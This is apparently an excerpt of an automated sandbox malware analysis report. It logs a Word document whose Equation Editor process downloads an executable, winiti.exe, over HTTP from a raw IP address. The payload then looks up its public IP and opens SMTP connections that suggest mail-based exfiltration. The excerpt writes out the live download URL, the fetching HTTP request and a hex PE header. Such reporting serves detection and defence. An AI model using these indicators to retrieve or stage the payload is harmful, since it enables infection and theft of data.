Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 26 Jul 2024 04:39:08 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Last-Modified: Thu, 25 Jul 2024 06:32:44 GMTETag: "a4000-61e0c90002b33"Accept-Ranges: bytesContent-Length: 671744Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 11 d2 a1 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 e0 09 00 00 40 00 00 00 00 00 00 42 fd 09 00 00 20 00 00 00 00 0a 00 00 00 40 00 00 20 00 00 00 20 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 0a 00 00 20 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 f0 fc 09 00 4f 00 00 00 00 00 0a 00 e0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 0a 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 48 dd 09 00 00 20 00 00 00 e0 09 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 e0 05 00 00 00 00 0a 00 00 20 00 00 00 00 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 0a 00 00 20 00 00 00 20 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 208.91.198.143 208.91.198.143
Source: Joe Sandbox View IP Address: 208.91.199.225 208.91.199.225
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 36f7277af969a6947a61ae0b815907a1
May check the online IP address of the machine
Source: C:\Users\user\AppData\Roaming\winiti.exe DNS query: name: api.ipify.org
Source: C:\Users\user\AppData\Roaming\winiti.exe DNS query: name: api.ipify.org
Source: C:\Users\user\AppData\Roaming\winiti.exe DNS query: name: api.ipify.org
Source: C:\Users\user\AppData\Roaming\winiti.exe DNS query: name: api.ipify.org
Uses SMTP (mail sending)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 208.91.199.224:25
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 208.91.199.225:25
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 208.91.199.223:25
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 208.91.198.143:25
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /71/winiti.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 198.46.174.139Connection: Keep-Alive
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.174.139
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{B73513B2-3E0D-42E7-B536-2812A501893B}.tmp Jump to behavior
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /71/winiti.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 198.46.174.139Connection: Keep-Alive
Source: winiti.exe, 00000006.00000002.715091782.0000000005920000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)
Source: global traffic DNS traffic detected: DNS query: api.ipify.org
Source: global traffic DNS traffic detected: DNS query: smtp.jlahuachem.com
Source: EQNEDT32.EXE, 00000002.00000002.363861169.000000000032B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://198.46.174.139/71/winiti.
Source: EQNEDT32.EXE, EQNEDT32.EXE, 00000002.00000002.363861169.00000000002EF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://198.46.174.139/71/winiti.exe
Source: EQNEDT32.EXE, 00000002.00000002.363861169.00000000002EF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://198.46.174.139/71/winiti.exej
Source: EQNEDT32.EXE, 00000002.00000002.363861169.00000000002EF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://198.46.174.139/71/winiti.exekkC:
Source: winiti.exe, 00000006.00000002.715091782.000000000594C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: winiti.exe, 00000006.00000002.715091782.0000000005920000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: winiti.exe, 00000006.00000002.715091782.0000000005920000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: winiti.exe, 00000006.00000002.715091782.0000000005920000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: winiti.exe, 00000006.00000002.715091782.000000000594C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: winiti.exe, 00000006.00000002.715091782.0000000005920000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: winiti.exe, 00000006.00000002.715091782.0000000005920000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: winiti.exe, 00000006.00000002.715091782.0000000005920000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0
Source: winiti.exe, 00000006.00000002.715091782.0000000005920000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0%
Source: winiti.exe, 00000006.00000002.715091782.0000000005920000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0-
Source: winiti.exe, 00000006.00000002.715091782.0000000005920000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0/
Source: winiti.exe, 00000006.00000002.715091782.0000000005920000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com05
Source: winiti.exe, 00000006.00000002.715091782.0000000005920000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net03
Source: winiti.exe, 00000006.00000002.715091782.0000000005920000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net0D
Source: winiti.exe, 00000006.00000002.714490437.0000000002231000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: winiti.exe, 00000006.00000002.714490437.0000000002358000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://smtp.jlahuachem.com
Source: winiti.exe.2.dr, winiti[1].exe.2.dr String found in binary or memory: http://tempuri.org/dxsss.xsd
Source: winiti.exe, 00000006.00000002.714490437.0000000002358000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://us2.smtp.mailhostbox.com
